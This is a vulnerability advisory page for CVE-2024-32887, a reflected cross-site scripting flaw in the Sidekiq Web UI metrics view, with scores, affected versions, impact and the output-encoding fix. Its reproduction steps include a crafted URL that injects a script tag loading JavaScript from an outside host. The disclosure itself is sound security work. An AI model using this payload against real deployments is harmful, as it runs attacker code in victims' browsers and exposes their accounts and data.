5.5medium
Reflected XSS in sidekiq
- Severity
- 5.5medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.76% (higher than 52% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-q655-3pj8-9fxq
Description
Sidekiq is simple, efficient background processing for Ruby. Sidekiq is reflected XSS vulnerability. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. This issue has been patched in version 7.2.4.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| sidekiq sidekiq | >= 7.2.0, < 7.2.4, 7.2.0 | CVE List |
| sidekiq (RubyGems) | from 7.2.0 before 7.2.4 | GitHub Advisory Database |
All scores
| GitHub_M | 5.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L |
| GitHub | 5.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Sidekiq is simple, efficient background processing for Ruby. Sidekiq is reflected XSS vulnerability. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. This issue has been patched in version 7.2.4.
GitHub Advisory Database
Description:
During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.
This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.
Impact:
The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.
Mitigation:
Encode all output data before rendering it in the response to prevent XSS attacks.
Steps to Reproduce:
- Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E
- XSS payload will be executed, causing a popup.
Evidence:
image Figure 1: Source Code Vulnerable to XSS
image Figure 2: XSS payload triggered
NVD (es)
Sidekiq es un procesamiento en segundo plano simple y eficiente para Ruby. Sidekiq refleja la vulnerabilidad XSS. El valor del parámetro substr se refleja en la respuesta sin ninguna codificación, lo que permite a un atacante inyectar código Javascript en la respuesta de la aplicación. Un atacante podría aprovecharlo para atacar a los usuarios de la interfaz de usuario web de Sidekiq. Además, si se implementan otras aplicaciones en el mismo dominio o sitio web que Sidekiq, los usuarios de esas aplicaciones también podrían verse afectados, lo que generaría un alcance más amplio de compromiso. Potencialmente comprometer sus cuentas, obligar a los usuarios a realizar acciones confidenciales, robar datos confidenciales, realizar ataques CORS, desfigurar la aplicación web, etc. Este problema se solucionó en la versión 7.2.4.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-32887 changed 2024-08-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-q655-3pj8-9fxq changed 2026-06-08 | CC-BY-4.0 |
| NVD | CVE-2024-32887 changed 2026-06-17 | Public domain |